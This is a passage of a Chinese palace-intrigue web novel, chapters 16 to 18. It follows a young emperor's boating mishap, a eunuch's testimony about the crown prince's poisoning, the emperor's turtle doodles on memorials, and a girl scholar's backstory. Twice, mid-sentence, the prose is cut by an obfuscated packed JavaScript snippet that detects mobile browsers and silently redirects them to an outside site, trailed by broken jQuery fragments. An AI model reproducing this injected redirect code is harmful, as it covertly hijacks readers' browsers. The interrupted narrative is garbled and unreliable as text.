“我不赞成又有何用,”魏与归懒懒地掀了下眼皮子,语气很是随意,“皇上和太后那铁定不会同意。信不信你这奏本但凡递到圣上面前,不出一日就会被圣上丢进炉子当柴火烧了。”
“这个主意是由萧首辅提出,国舅爷岳侍郎亲自拟定的条目。”
闻言,魏与归停下了脚步。
他眼神有些困惑,只略加思索,便了然于心,
“国舅爷初入内阁根基不稳,如此做想必是为了自保。他身为外戚,发妻又手握军权,难免遭人猜忌。崇正党的人强压他他肯定拗不过,干脆做个顺水人情,顺势还能掌握点主动权。不过,你这朱丸案还没查个水落石出,就不要去凑这个热闹了吧。”
程国泰不满道:“你我都皆为东宫属官,教授过圣上,岂可在此等大事上逡巡不前?之前我也多次催促过宋骥速速定案,可他就在那跟我打太极,快把我给急死了!”
“我不去,省得圣上到时候记恨,再在西苑里挖几个坑等着我。”
魏与归拒绝得很干脆,一口回绝,也不管程国泰在旁边气得七窍生烟。
“不过依我对宋大人的了解,他现在不肯说实话,多半就是在琢磨着皇上的态度。或许就是因你总是思虑太多,他才不肯告诉你。”
见老友被气得够呛,魏与归方才缓了缓语气,解释道,
“先皇意外驾崩,蓝通玄和何裘的仙丹也查了不下百次都没查出问题。如今那俩人也在大狱中待着,赵除佞就算是想插手也插不了。而宋大人至今都不吱声,八成就是怕承认朱丸案乃是一场意外,会引得圣上雷霆震怒。”
“哎,还是等着太医院复查先皇当日所服的药单与菜谱,再下定论吧。”
程国泰叹气,“可当今圣上是以藩王小宗入继大统,并不是《皇族明训》所言‘兄终弟及’,首辅也正是出于此等考虑才提议让皇上尊奉圣统,认世庙为皇考。更何况皇上自幼失怙,长于妇人之手,若能入世庙嗣,不乏为一件好事,省得旁人多嘴。”
“旁人多嘴什么?就圣上那个牛脾性,还有岳侍郎昆将军护犊的性子,哪个人敢说三道四?”
魏与归瞥了一眼程国泰,语气很是意味深长,
“陶王妃,不,如今该称太后娘娘了,民安你当真以为她是个普通民妇?”
“岳家镖局,当家的常年行走于山野,一切家事全由长女做主。如此一来,她还能养出个二十五岁就中进士的探花郎弟弟。更何况圣上虽看似恣意妄为,实则做事极为有数,小错不断大错却从不犯,你当真以为她是普通女人吗?”
“兴许是岳侍郎天资聪颖,云离相和我们对圣上的教导还是有些作用的……”
程国泰忍不住辩解,还想做最后的挣扎,却被魏与归无情地打断了。
魏与归无奈摇头,回忆起往事,不由感慨道,
“陶王尚在世时,我曾去过陶王府与他议事。那一日,正逢王妃在书房内练字,写的是魏碑《张猛龙碑》,大气不凡。那功力,非数十年童子功不可有之……”
16. 第 16 章
“哎呦喂我的万岁爷,您行行好,放我一马吧!”
西苑里,一个身形颇高的少年正抱着个花盆,对着傅谊一阵鬼哭狼嚎,全然不顾及自己的形象。
“您动不动宣臣进宫,不是拿臣的腿脚溜着玩吗!臣不过就一小小的大理寺司直,陛下有什么事要不还是召臣的父亲商议吧!正好他也喜欢赏菊,您喊他来帮忙种花也不是不可以。”
“那可不行,你爹那个老狐狸总跟我打哑谜,听不懂,想得我脑阔疼。”
傅谊果断地摇了摇头,拿着小铲子拍了拍地上的土,
“这土不错,松软透气,用来种帅旗正好。好了,你可以把花盆放下来了。”
闻言,宋徽猷顿时长呼一口气。
今日被突然召进宫,他原以为圣上是要问他先帝朱丸案进展如何,便火急火燎地跑来了,结果没想到却是来帮忙种菊花的。
种个花也就算了,傅谊还是陶王世子的时候,他俩没少瞎折腾这些花花草草。
可今天甫一见面,就被傅谊上上下下地打量了一番。那眼神,活像是在看砧板上的肉。
宋徽猷被傅谊这么盯着,心中不免有些发毛。
他和傅谊乃是多年好友,要说情谊,京中数一数二的最佳酒肉拍档。
两人一起纵马,一起斗鸡,一起喝茶,那过得是叫一个逍遥自在。
宋徽猷个子高挑,皮肤也白净,或许就是生得太白了些,眼下那一对黑眼圈才会常年不散。
他本人倒是觉得这并无大碍,反倒是其父宋骥一天到晚在家里大呼小叫,直嚷着他这副颓然样太不像话。
脸上又挂着这么重的黑眼圈,简直比大理寺要抓的嫌犯还像嫌犯!
宋骥左看右看,总觉得自己儿子哪哪都不行。一天到晚瞎晃悠,不学无术。
除了会画点画儿以外,一无所长。
宋骥干脆就把他放在自己眼皮子底下管着,做个小小的八品司直。偶尔还能帮他搭把手,画些嫌犯画像之类。
于是宋徽猷摇身一变,如今也算是有官职傍身的人了。
虽然只是个小小的八品芝麻官,但这并不妨碍他在傅谊面前神气一番。
傅谊头一次见宋徽猷穿公服戴皂沙幞头的模样,觉着很是新奇。
往日里宋徽猷偏爱戴大帽,然而次次都会被手贱得慌的陶王世子给“一不小心”打掉,遂之后只戴幅巾。
傅谊没了理由去袭击那个让好友比自己高上许多的大帽,只好悻悻作罢,今日见宋徽猷做如此打扮,不免手有点痒痒。
未想宋徽猷却是看穿了傅谊的意图,警示性地咳嗽一声,还重重唤了句“皇上”,提醒傅谊注意身份。
傅谊顿时没了趣儿,便只好盯着宋徽猷左瞧瞧右瞧瞧,哪哪都觉得不顺眼。
末了发表一句锐评,声称他这副打扮活像根发了霉的细长挂面。瞧着太羸弱,不阳刚。
两人不免又斗了会嘴,来到太液池。
至岸边,宦官黄保已拿着渔具,在一旁恭候多时。
傅谊顺手接过,上了船便招收催促着宋徽猷赶紧划,自己则朝船里头一躺,美滋滋地晒着太阳。
黄保本欲一同上船帮忙摇桨,却被宋徽猷拦了下来,说是圣上垂钓时有不少怪癖,怕黄保无意间犯了忌,所以只需他一人帮衬着便可。
在黄保的感恩戴德下,船慢慢驶向湖中心。
宋徽猷瞥了眼还躺着的傅谊,忍不住出声提醒,
“陛下醒醒,别跟块硬邦邦的咸鱼一样躺着,这里已经没人能偷听我们讲话了。”
“咸鱼不好吃,我不喜欢,福安哥哥也不喜欢。”
傅谊慢悠悠地直起身子,没一会儿又趴在船舷上,低头看着水中的倒影,小声嘟囔着。
宋徽猷哑然,沉默许久,方才小心地开口,
“请陛下再给臣和父亲一些时日来查先太子的死因……实在是臣无能,找不出贼人谋害的太子证据,以至于连先太子所交待的朱丸案都拖延至今。”
“无碍,那案子查到现在,朝中已经无人关注此事的真相。他们要的只是我朕的一个态度罢了,更何况崇正党那还急着拿捏我换皇考呢。”
傅谊自嘲般地勾了勾唇角,摇了摇头,
“所以娘就告诉我,我们要借着查朱丸案的由头悄悄地查福安哥哥的死因。不然一待此事盖棺定论就很难再翻案,以后也再无更好的理由追踪下去。只可恨那些人做事太干净了,竟查不到任何一丝证据。”
“所以陛下觉得那个名为黄保的宦官,他的话,可信乎?您就不怕他是赵除佞的耳目?”
“所以为了以防万一,我才让你把他留在岸上,以防偷听啊。”
傅谊打理着钓竿的鱼线,挂上鱼饵,将勾子朝远处一甩,
“太子哥哥薨逝那一日,黄保正好被派去宫中领东西。路走到一半,他忽地想起进宫的腰牌没拿,便急忙折回太子府,未想却是看到了福安哥哥中毒的一幕。”
“他说,太子殿下即便已是奄奄一息,却还让他赶紧跑,别让旁人看见他回来过,免得被与文官勾结的内侍们趁机安上杀害太子的罪名。”
“黄保听到后仍不死心,还想要去宫里找御医,却被太子哥哥给拦住了。”
“太子哥哥劝他别白费心思,此时进宫投奔赵除佞方为正事。有了首席秉笔太监的庇佑,他一个废太子身边微不足道的小宦官或许还有活路。”
“后来黄保主动与我坦白,把有人谋害太子的事跟赵除佞讲了。”
“事后赵除佞特意叮嘱他将此事烂在肚子里,毕竟无根无据,没有确切的证据指明是何人所为,若是传出去就惹了大祸。”
“且赵除佞让他以后跟在我身边贴身侍奉,还说念其对太子忠心可鉴,总有一日会助他为太子报仇。”
“所以现在他就是赵除佞安插在你身边的一枚棋子?”
宋徽猷扬了扬眉,对黄保这个行为不置可否。
“差不都就是这样,虽然我也有心想让他去做内应,也不知他担不担得起这个重任。只怕他没什么见识,被赵除佞那些东厂里的东西一吓,一哆嗦把我说过的话全抖了出去,哎……还是先走一步看一步吧,看看他这个人到底可不可用。”
傅谊长长地叹了口气,随即语气一转,变得凌厉了起来,
“没想到这些文官明面上对赵除佞一副嫉恶如仇的模样,私底下也没少通内,亏我以前还以为他们是什么英雄好汉!”
“哈,他们要是英雄好汉,就不会单单推一个齐涵虚上去死谏。干嘛自己不去,平白搭了人家一条性命?”宋徽猷毫不客气地啐了一口,“惺惺作态,大奸似忠。”
“好啊,一个两个都把我当傻子耍,那也就不怪我祸水东引,让他们和赵除佞慢慢斗去吧!”
傅谊愤懑道,身子却是一动也没敢动。
因为他从鱼竿上感受到似乎是有鱼儿上钩了,不由喜上眉梢。
傅谊缓缓收线。
没想到宋徽猷却是骂人骂上瘾了,对着空无一人的船尾就是一顿输出,连比带划,震得整条小船都开始晃动。
“诶诶诶,穆安你别动!别把鱼吓跑了,快来帮我拉一把,这鱼还挺重——”
“都说了你别动,船要翻了啊啊啊啊——!!!!”
之后不出傅谊所料,这船确实是翻了,翻得还很彻底。
一直站在岸边,时刻关注着湖中二人的黄保见状,简直被吓得魂飞魄散。
他不会水,只能扯开嗓子大喊旁人过来救驾,边喊边在岸边焦急地张望着有无旁人在场。
然而他喊了半天周遭也没人路过,黄保只得狠下心来,闭上眼纵身潜入水中。
傅谊本已经浮上水面,正架着同样不会水的宋徽猷往岸上游。
当看到黄保这个旱鸭子在水中拼命扑腾时,简直目眦欲裂。
所幸赵除佞恰巧路过,看到这一幕,果断脱了繁重的外袍,径直游向傅谊。
傅谊一边游着,一边还要防着宋徽猷因恐惧而乱挥的手打到自己,可谓是心力憔悴。
他见赵除佞毫不犹豫地忽略了尚在挣扎的黄保,目不斜视地架起自己和宋徽猷,傅谊急忙开口,也不顾自己一不小心被呛了水:
“咳咳,我朕没事,我会水的,你先把宋司直带上岸,我去把黄保救上来,咕噜咕噜——”
随后在赵除佞错愕的目光下,他把宋徽猷这累赘玩意儿往赵除佞身上一丢,自己
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505094|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
游到黄保身边。
还好赵除佞水性不错,将宋徽猷送上岸后,又赶紧游回来帮傅谊救人。
傅谊游上岸后,赵除佞先是仔仔细细地检查了一番傅谊的身体。
见皇上没什么大恙,他便将自己先前脱下的外袍从地上捡起,抖抖尘土裹在傅谊身上。
“还请主子见谅,待回去后老奴再向您请罪。”
“无妨。”
傅谊摆摆手,见宋徽猷被吓得惊魂不定,便替好友顺了顺气,还好心地把干外袍拉下一半搭在他身上,两人紧挨着取暖。
这些事儿刚做完,他就看到赵除佞抬脚,猛地踹上还在吐水的黄保,面色极为阴翳,
“你还死在这里干嘛,不去喊人过来,就让主子干站在这里挨冻吗?万岁爷救了你一条狗命,你就是这样知恩图报的?”
“是,是,咳咳……小的这就去办。”
黄保气还没缓上来,就裹着一身湿衣裳,连滚带爬地跑走了。
傅谊皱眉,正欲开口指责赵除佞,却被宋徽猷猛地扯住了衣角。
宋徽猷佝偻着身子,一连咳嗽了好几下,这才让赵除佞的视线从黄保处转移回来。
见宋司直的脸色不佳,赵除佞顺势关心道,
“宋司直身体还好吗?要不老奴马上派人将您送回府,再派个御医看看?”
“我没事,还是皇上比较要紧……”
宋徽猷的声音听起来虚虚的,一直倚着傅谊,直不起来腰来,
“全怪那个小宦官不成事儿!他自己不会水就算了,还差点连累到陛下!皇上龙体精贵,怎容得他糟践?皇上,您回殿后可得亲自惩治他啊!”
“是啊是啊,都怪他!”傅谊顿时反应过来了,连忙摆正了神色,
“这小宦官实在是没有规矩!也不知从前是怎么在太子哥哥跟前做事的,竟这般毛手毛脚,回去后你可得把这人交给我。不亲自收拾他一顿,难平我朕心头之气!”
“一切全凭万岁爷做主,那老奴也就不越俎代庖了。”
赵除佞拱手作揖应答,似乎并没看出面前两人的真正意图。
换了身衣服,送走宋徽猷后,傅谊回到殿中。黄保便已跪在殿门外了。
他的衣服还没换,看起来是刚喊完人就跪着了,以至于地砖上都湿了一大片。
傅谊见状,忍不住直叹气:
“怎么每次见你,浑身上下都是湿的?别跪了,起来回话吧。”
然而黄保还一直跪着,战战兢兢不肯起身,甚至还朝着傅谊磕了一个大大的响头:
“奴婢多次得皇上舍身相救,已经不知道该如何报答您了。方才陛下还特意支开督主不让他处置奴婢,这已是奴婢天大的福分,就算奴婢把整条命给您也不为过。”
话说着,他就“砰砰”地继续磕着,迫使傅谊直接动手,把人从地上给拎了起来。
望着这人额上隐隐约约已有血迹渗出,傅谊顿时头大。
多亏宋徽猷机灵,提醒自己下手为强,把黄保给保下来。
赵除佞手段狠辣,黄保落入他手中受罚,就算不死也得脱层皮。
他示意黄保赶紧去换套干净衣服,把血止住了再说,随后很是为难地开了口,
“我救你,单纯就是不想让太子哥哥的在天之灵伤心罢了。他生前如此牵挂你的安危,你也莫让他死后还在为你担忧便是。更何况我这次落水本就与你无关,你也不用受罚了,下去歇着就是。”
闻言,黄保一下子被感动得说不出话来,支支吾吾了半天,傅谊也没听清楚他在说什么。
傅谊也没这个心思听他客套,摆摆手就让他下去。
然而之后黄保的口齿却是逐渐清晰了起来,口中的是刺得傅谊浑身一激灵。
他霍然起身,瞳孔猛地一缩。
“你说什么,你刚才说了什么!太子哥哥生前对你说了什么,你再说一遍!”
似是被傅谊突如其来的反应给吓到了,黄保手足无措,只得断断续续地重复道:
“奴婢,奴婢刚才说,圣上确实跟千岁爷说的一样,日后成为一名贤君。”
“千岁爷生前是这样说的,吾弟当为尧舜。对,吾弟当为尧舜!”【1】
17. 第 17 章
昨日落水后,宋徽猷就病了。
得了场风寒,被他爹宋骥捂在家中,死活不肯放他出来再瞎溜达。
傅谊的身体倒是没什么大碍。
甚至还能跟着舅母昆玉霜身边练武,吭哧吭哧冒了一头热汗。
没了好友作伴,傅谊的生活顿时无聊了起来,只好按部就班地做着皇帝该做的事,消停了几天。
母后没收了他的渔具,傅谊对其日思夜想。无论他如何对着黄保威逼利诱,黄保就是不肯再弄一套来。
傅谊无奈,言自己不意水中亦有帝,因自号水帝。【1】
而后水帝颁布了一道旨意,即刻命赵除佞把太液池里害他落水的逆贼给捞上来。
他倒要看看究竟是哪条鱼这么胆大妄为,敢在水中对水帝不敬!
不久,赵除佞面无表情地过来汇报情况。
他声称罪魁祸首已经落网,是条十几斤重的锦鲤,问傅谊要不要把它凌迟了炖汤喝,好解心头之气。
傅谊闻言愕然。
他竟不知一条锦鲤可以长这么大。
思觉一条鱼长这么大也算不易,傅谊想了想,终还是没让赵除佞把鱼送到御膳监,又放回太液池里好生养着。
然而傅谊对此事还是耿耿于怀,暗中又指使黄保去打听这条锦鲤会长这么大的原因。
结果黄保一问就问出来了。
他在宫中人缘挺好,不少人都挺爱跟他唠嗑。
比如说,有个小宫女就主动跟他提过,说圣上还是陶王世子的时候,就喜欢把不合口味的点心丢进太液池里喂鱼。
而圣上又喜钓鱼,时不时将吃了一半的糕点作鱼饵。时间一长,这鱼儿自是养得极大。
兜兜转转,始作俑者竟是他自己,气得傅谊一连几日都没吃御膳监做的点心。
之后下令让所有知情者绝口不提此事,免得传出去又被宋徽猷笑话。
他已经被娘和舅父嘲笑得要无地自容了。
尤其是舅父,每日讲课的第一句,旁的不问,就在那似笑非笑地问他,惊扰陛下的鱼可曾捞到了?
当真是好生可恶!
傅谊很是气愤,下定决心好好学习,不辜负太子哥哥对他的期盼,也省得舅父和别的先生总拿此事说他。
程国泰程阁老见了傅谊这副模样,心中很是感动,一直跟魏与归嚷嚷着自己对陛下的教导终于起了作用,听得魏与归耳朵都要起茧子了。
不过魏与归对此还抱着怀疑的态度。
皇上最近很是勤政,但就是任凭赵除佞的义子们在京城各处胡作非为,乱攀亲戚。
内阁提议圣上入世庙嗣的题本也一直留中不发,也不知这是赵除佞的意思还是皇上的意思。
果不其然,魏尚书的猜测没错,傅谊这个好劲头没几天就消了。
愿意无它,主要还是因皇帝一职,实在是不是一般人能当的。
日日有早朝,还有每月三次的大经筵,礼仪及其繁琐复杂。
不仅如此,傅谊还有小经筵,也就是日讲、午讲和温书。
难得晚上能歇一歇,傅谊还要看司礼监呈上来的奏本和题本。
因舅父岳渊峙的多次警告,傅谊也不敢将奏疏尽数交与赵除佞批红,每本必亲自过目,再给掌印太监盖章。
时间一久,傅谊自然有些吃不消。
这一日经筵结束,他实在是太困了。
程阁老讲课,那语气,简直比和尚念经还要平。
好歹离相先生任太子太傅的时候,傅谊偶尔还是能听进去的。
当然,主要还是因为云先生的声音好听。
他儿子云降心的声音也不赖,讲课也很有趣,傅谊已经开始怀念起此人了。
哎,也不知那次不告而别,云梵现在怎么样了。
应该没自己这么累吧。
刚开始当皇上时候,傅谊还很谨言慎行,除了坚持“我朕”这个称以外,旁的也没出什么乱子。
后来看大臣们啰里吧嗦的奏疏看腻了,批语从“我朕已阅”变成了“已阅”,再到单一个“阅”字,最后甚至简化成了三竖。
初时,朝中无人知晓这三竖是何意思。
有人愁眉苦脸地拿着奏本去请教岳渊峙。
国舅爷看了半天,也没看出个所以然来,干脆直接问了傅谊,这才知道此乃“阅”字的草书。
还有些拍马屁的奏疏,傅谊实在不知道该回复些什么。
蘸着浓墨的笔在纸面上停顿了许久,无意间墨汁落下,形成了一个大黑点。
傅谊觉着怪碍眼的,最终添了几笔,成了只小王八,画得那是叫惟妙惟肖。
而收到此批示的那个小官,当晚就被吓得求见皇上。
此人拼了命地要见傅谊,被黄保在殿外给拦住了。
傅谊一听外面传来的声音,不免头大。
他招呼黄保进来耳语几句,说自己不想出去,让黄保代为解决。
黄保迎着那人快要哭下来的目光,于心不忍,却又不得不硬着头皮传达傅谊的意思。
小官:敢问陛下,臣奏本上的那只乌龟是何用意?
黄保:嗯……圣上的意思是,让您去那太液池捞几只上来。
小官惶恐不安:陛下可还有别的吩咐?
黄保:然后陛下让您多看看它。
小官不解:多看看乌龟?
黄保:对,看看它跟您有几分相像。
小官:?!
那个官员一走,傅谊就乐得在床上笑开了花,连声夸赞黄保干得漂亮。
没想到此举还给他带了意外之喜。
据锦衣卫来报,那人回去后还真拿着个乌龟,每日在家看着。
拍马屁的文章也不写了,就在那和乌龟对视。
傅谊得了趣儿,乐不可支。
之后每逢看到这种令人心烦的奏本,他都会看人下菜,画王八的技能可谓是愈发熟练。
然而天有不测风云。
这一日上完经筵回来,傅谊身心俱疲。
天杀的,还要批奏疏。
随便挑了几本,翻开一看又全是废话,还有个仍嚷嚷着要请圣上入世庙嗣。
傅谊实在气不过,上来就画了个大大的王八,然后心满意足地睡了一大觉。
翌日醒来,黄保心神不安地告诉傅谊一件事。
太后娘娘有懿旨,让圣上下了朝就来慈宁宫一趟。
傅谊的右眼皮跳了几下。
他深感不妙,下意识反思起近几日的所作所为。
不知为何,傅谊总觉得昨日那本被画了王八的奏本,上面的字迹有些眼熟。
直到他到了慈宁宫,看见母后与弟弟陶王,还有他的表弟岳棠棣皆在场时,这才猛地回过神来。
那字迹,是舅父的!
好巧不巧,那本奏本恰好就在母亲的手里握着。
傅谊眼尖,看见傅谦和岳棠棣正在学画。
画的是一幅鱼藻图。
不知是有意还是无意,弟弟傅谦的画上还画了只大乌龟。
傅谊深觉不安。
听到宫女通报的声音,太后岳澜语连头都没抬,只低声应了一句。
傅谊偷瞄了眼她的反应,知晓这是娘发怒的前兆,于是赶紧低头认错,企图息事宁人。
“知道错了,那就请皇上来说说,自己错在何处?”
然而岳澜语并没有像从前那般,拎着傅谊直接动手,反倒是平心静气地开了口。
“我,我,我朕错在不应该对臣子的奏疏置之不理,不应该在他们的奏本上画乌龟。”
傅谊弱弱答道,被吓得丝毫不敢动弹。
“哦,原来陛下不仅在礼部侍郎的奏本上画了画,也在旁人的奏本上画了?还真是能耐了。”
岳澜语挑了挑眉,抓住傅谊话语中的漏
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14505095|154964||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洞。
“是我朕不对,朕愿意公开向大臣们认错!还请母妃,啊不母后原谅我这一次!”
傅谊冷汗都快下来了,口齿都有些不甚清晰。
“话都讲不清楚,以后怎么当皇上?不过既然圣上这么爱作画,阿谦,方才哀家不是教了你画乌龟?正好这次就来试试,让圣上来评一评,看看画得好不好。”
未想太后话锋一转,却是唤傅谦拿笔过来,要他直接在傅谊的脸上画画。
此时,原本立在一旁看热闹的岳棠棣也看呆了。
见太后真有此意,他马上凑过来打圆场,不动声色挡在傅谦身前:
“舅母,兄长如今也是一国之君了,若是您执意要让谦哥在圣上脸上画乌龟,被旁人看见有损天威啊!要不这次您就饶了他吧?”
“今日没有经筵,皇上大可在本宫的慈宁宫里好好歇息。”
太后瞥了一眼小侄子,岳棠棣顿时讪讪收手。
“再者,你都说了傅谊是你们的兄长,他身为兄长却丝毫未起榜样作用。更何况他现在更是天子,难道不更该为天下百姓做表率吗?”
“对对对,娘教训得极是,所以陶王你还不赶紧过来!”
傅谊唯唯诺诺,知道自己这次确实有错,只得把心一横,闭眼等着接受惩罚。
而傅谦却是左右为难。
他既不敢在天子面前如此放肆,又不敢违背母后的话语,只得无助呆愣在原地,杵了半天。
但岳澜语的声音却是越催越紧。
“难不成还要我把脸凑过去吗?好吧,我肯定不怪罪你就是了,尽管放心!”
半天没个动静,傅谊也有点坐立难安。
他知道自己这个胆小的弟弟在担心什么,连忙打起了包票,免得傅谦事后也要被教训。
可话都到这份上了,傅谦仍旧一动不动。
岳棠棣实在是看不下去了。
他悄悄地猛推了傅谦一把,随后跟个没事的人一样,躲回去继续画画。
猝然被推了一下,傅谦没个防备,毛笔直直地划在傅谊的脸上,拉了好长一道墨痕。
傅谊愕然,没想到弟弟一上来就这么猛,便狐疑地睁开一只眼,没好气地开口道:
“阿谦你手别抖,可得给我画得好看一点啊!不然娘看了觉得太丑再让你重画,我的脸可没你画纸那么大,还有空地儿给你再画几道啊!”
“是是是,臣弟定不辱使命!”
傅谦胆战心惊地应着,见事已至此,只得硬起头皮动笔。
一只乌龟画完,傅谊睁眼,要寻个镜子看看傅谦画得怎么样。
然下一刻,傅谦往后一退,笔锋一转,却是对着自己的脸火速画了只一模一样的乌龟。
“还请圣上恕臣弟失礼,臣弟无意冒犯天威,甘愿与圣上一同受罚!”
傅谦这么一搞,傅谊很是匪夷所思。
他分明都说了不怪罪,干嘛非得这么折腾自己。而且这事又是母亲吩咐的,这小子怎么还这么畏畏缩缩的?
傅谊心里嘀嘀咕咕了半天,面上倒是一副老实样。没有母亲的准许,他不敢轻举妄动。
望着兄弟俩两张大花脸,太后岳澜语的嘴角浮现出一股若隐若无的笑意。
她吩咐完下人端水上来,就以出门散心为由借故离开了。
直至看不见母亲的背影,傅谊这才原型毕露,一把从傅谦手中夺过笔,追着岳棠棣便画上去:
“好小子,有胆子做就别跑啊!是兄弟就让我也给你画几笔!”
之后太后的慈宁宫里鸡飞狗跳了好一阵子。
小皇帝追着礼部侍郎之子不肯撒手,结局以岳棠棣的失败告终。
其脸上被傅谊涂得乱七八糟,简直残无人样。
傅谊为此乐呵了好久。
经过这么一闹,他胸中的郁气散了不少,度过了迄今为止,在紫禁城里最快活的一日。
18. 第 18 章
被太后教训了一番后,傅谊本以为还会被舅父再训斥一顿。
奇怪的是,岳渊峙并没有再提起过此事。
傅谊惴惴不安了一整日,坐立难安,活像椅子上有刺一般。
岳渊峙实在是没眼看,直言这种提议入世庙嗣的奏本,他是再也不会上了。
不让圣上为难的同时,也请圣上以后也少画些乱七八糟的玩意儿,怪丢人现眼的。
此后这事便不了了之。
只是内阁之中仍有人不死心。
礼部尚书季无忧总是若有若无地旁敲侧击。
而刑部尚书程国泰则是开门见山,见国舅爷劝不动皇上,更是每日一封奏疏,单刀直入地直接问圣上何时让礼部准备入世宗嗣的典礼。
每遇上这种情形,傅谊就会开始装糊涂,打马虎眼儿。
后来他实在是被这群人扰得不堪其苦,干脆将这些奏本交给赵除佞处理,自己偶尔也能躲个清闲。
毕竟舅父现在正忙着审阅乡试考卷,没工夫管他。
可谓是此时不偷懒,何时偷懒?
在新任翰林院掌院学士,国舅爷岳渊峙等一众阅卷官的辛勤工作下,定于九月九日重阳节之时放榜。
这一日,金陵城比往日更是热闹了几分。
云卷云舒早早地出了门排队看榜,争着要看看李执先生的得意学生——卢点雪的成绩如何。
排了许久,云舒忽地觉得有些不太对劲,便跑到队头探个究竟。
他的预感没错。
这是一家烤鸭铺。
俩人折腾了半天,竟是排错了队。
不过来都来了,云卷也不想空着手回去。
他让云卷继续排着,自己则去寻了放榜的告示栏。
人还未靠近,远远的,他就听见了有人在大声喊话。
此次南直隶的解元,正是崇正书院出来的卢点雪!
云舒乍一听,激动坏了,也不管三七二十一,挤进人堆里,仔细地瞧着黄榜。
确认无误,他拔腿就往方才那个烤鸭铺子处跑,将这个喜讯告诉了还在排队的兄长。
二人一高兴,买的东西一下子从仅需的四分之一只鸭子,又加了些花生米什锦菜素鸡鸭肝鸭心和鸭翅。
总之什么都来点,说是待会要请卢点雪、闵老子和王月生一起来云府吃庆功宴。
不过当事人卢点雪尚未得知自己已中了解元的消息。
此时她正坐在鹫峰寺中,同王月生一起品茶。
秦淮问舟空色相,鹫峰试茶悟禅机。
此乃鹫峰寺大雄宝殿上的对联。
对联旁,一直静坐的卢点雪倒颇有几分快要入定的模样。
不过她对面的闵老子却是有些坐不住。
闵汶水不时朝外面张望着,回头见卢点雪仍是一副与世无争的模样,不由诧异出声:
“澄怀,当真不去看看黄榜?”
“不去。人太多,挤不过去,倒不如坐在这等等,反正总归会知道的。”
卢点雪不紧不慢地答了话,坐得端端正正,丝毫不在意自己的成绩如何。
少女的面孔不算突出,五官硬直,颇为英气,比起身旁的王月生少了几分妩媚与矜贵,却多了几分坚毅与干练。
此时她正身着男装,头发规规矩矩地束在冠下,露出宽阔饱满的额头。
望之俨然,即之也温。【1】
闵老子久混迹于江湖之中,会一点儿观人相面之术。
他不止一次说过,相书里言这叫九善之首,为聪睿之兆。
难怪她卢点雪可以女扮男装,参加童生试与乡试而未曾被人察觉出是女儿身。
气魄堂堂,漱冰濯雪,乍一看,当真以为是个意气风发的少年才俊。
不过,卢点雪本不叫这个名字。
起初她是没有名的,就唤作卢二丫,家中排行老二。
她哥卢大郎,是黄山脚下一个普通农户家的长子。
俗话说,前世不修,生在徽州。十三四岁,往外一丢。
卢家家贫,无从致书以观。
迫不得已,卢母下了狠心。
她折了自己的嫁妆,当了半家的家当,好不容易托到关系,这才把自家踢天弄井的儿郎丢给去往金陵的徽商,希望大郎学做生意。
商队回来的那天,黟县的柿子刚挂满枝头。
一个个亮着红光,映着夕阳的余晖,染红了一阶又一阶的梯田。
卢母就站在梯田上的柿子树下往外看,望着逐渐靠近变大的人影儿,心里十分欢喜。
然而领头的商人神色很是不对。
那人哭丧着脸,告诉卢母一个十分沉重的消息。
他们走的那日,黄山脚下急风骤雨,很是凶险。夜里山洪突发,堵了入山口。
留也留不得,回也回不去,他们一行人只得硬着头皮往外闯。
连卢大郎在内,二十余人折了大半在山里头。
那孩子最终还是没能走得出大山。
于是卢母疯了,成了街头巷尾,人尽皆知的疯婆娘。
她每天不是傻傻站在梯田上,等着回不来的大郎,就是踉跄着扑向她的女儿,嘴里神神叨叨地嘟囔着。
每当她说这话时,卢母的眼睛总是跟条濒临干死的鱼似地鼓着。
一双手死了命地攥着卢二丫的手,要她好好读书,去江南贡院考个功名。
有了功名,做个官儿,这样才好在金陵城内把她哥给找回来。
日复一日,卢二丫也确实有了这个心思。
不光是为了兄长,她自己也很向往书中的知识。
村中的小孩哧哧发笑,说哪有女子考功名。卢母疯了,连带着卢二丫也疯了。
可每听到这话,卢二丫那向来沉默寡言的父亲,就会抄起镰刀,挥舞着朝那群小鬼大吼。
他言之凿凿,说昆将军身为女子都可以披甲挂帅,保家卫国,女娃娃读书,又有何不行?
卢父安慰女儿,让她勿要把这些话放在心上。
他说爹去挣钱,待凑够了钱,就送她去李夫子的学堂读书。
他还问二丫记不得那位李执先生。夫子曾来过村中讲学,是收女学生的。
要是李先生在,定不会像那群无知小儿一般如此对她。
是的,卢二丫很想念书。
她很羡慕村头的汪老爷家,青砖黛瓦,高墙深户。
她观那门口立着的进士牌坊,烟雨濛濛,屹立不动。
明明那马头墙砌得是多么得高,多么得遥不可及,可总也挡不住里头的读书声悠悠飘出来,绕梁三尺,余音不绝。
每早农活做完,卢二丫就喜欢躲在汪老爷家的墙角,听夫子讲书。
夫子教写字,她没有笔,也没有墨,便将就着折了根树枝,一笔一划跟着学。
夫子教《大学》,她没有书,也没有纸,就板正地立在柳树下,一句一句跟着念:
大学之道,在明明德,在亲民
